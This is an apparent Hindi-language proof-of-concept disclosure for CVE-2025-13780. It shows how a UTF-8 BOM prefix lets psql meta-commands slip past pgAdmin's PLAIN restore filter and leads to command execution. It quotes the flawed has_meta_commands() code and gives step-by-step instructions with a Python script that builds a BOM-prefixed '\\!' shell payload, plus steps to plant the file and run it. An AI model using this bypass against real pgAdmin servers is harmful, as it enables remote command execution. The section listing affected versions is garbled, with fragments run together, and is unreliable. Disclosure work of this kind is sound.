
CVE-2025-13780 के लिए प्रमाण की अवधारणा
pgAdmin में Issue 9320 के सुधार के भाग के रूप में पेश किया गया PLAIN restore मेटा-कमांड फ़िल्टर उन मेटा-कमांड्स का पता नहीं लगाता जब कोई SQL फ़ाइल UTF-8 Byte Order Mark (EF BB BF) या अन्य विशेष अनुक्रमों से शुरू होती है। लागू किया गया फ़िल्टर has_meta_commands() फ़ंक्शन का उपयोग करता है, जो एक रेगुलर एक्सप्रेशन का उपयोग करके कच्चे बाइट्स को स्कैन करता है। रेगेक्स बाइट्स को अनदेखा करने योग्य नहीं मानता, इसलिए ! जैसे मेटा-कमांड अनपहचाने रह जाते हैं। जब pgAdmin psql को --file के साथ आमंत्रित करता है, psql बाइट्स को हटा देता है और कमांड निष्पादित करता है। इसके परिणामस्वरूप restore ऑपरेशन के दौरान दूरस्थ कमांड निष्पादन हो सकता है।
यह बायपास कमिट 1d397395f75320ca1d4ed5e9ca721c603415e836 में पेश किए गए पैच को प्रभावित करता है (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)
पुष्टि किए गए प्रभावित:
63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)संभावित रूप से प्रभावित:
1d397395f75320ca1d4ed5e9ca721c603415e836 से पैच किया गया has_meta_commands() शामिल है(\restrict) में चलते हैं, इसलिए मेटा-कमांड अब psql द्वारा ही अवरुद्ध कर दिए जाते हैंweb/pgadmin/tools/restore/__init__.py has_meta_commands()प्रासंगिक कोड (पैच किए गए संस्करण से):
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False
चरण 1: एक SQL फ़ाइल बनाएं जो BOM और एक मेटा-कमांड से शुरू होती है।
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)
चरण 2: BOM सत्यापित करें:
xxd bypass_bom.sql | head -1
अपेक्षित:
ef bb bf 5c 21 ...
चरण 3: फ़ाइल को pgAdmin स्टोरेज में रखें:
/var/lib/pgadmin/storage/<user>/bypass_bom.sql
चरण 4: pgAdmin में: Restore -> Format: PLAIN -> bypass_bom.sql चुनें -> Run
चरण 5: निष्पादन सत्यापित करें:
ls /tmp/bom_ran
बिना BOM वाली नियंत्रण फ़ाइल सही ढंग से अवरुद्ध हो जाती है।
BOM-उपसर्ग पेलोड:
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;
नियंत्रण पेलोड:
\\! echo SHOULD_BE_BLOCKED
SELECT 1;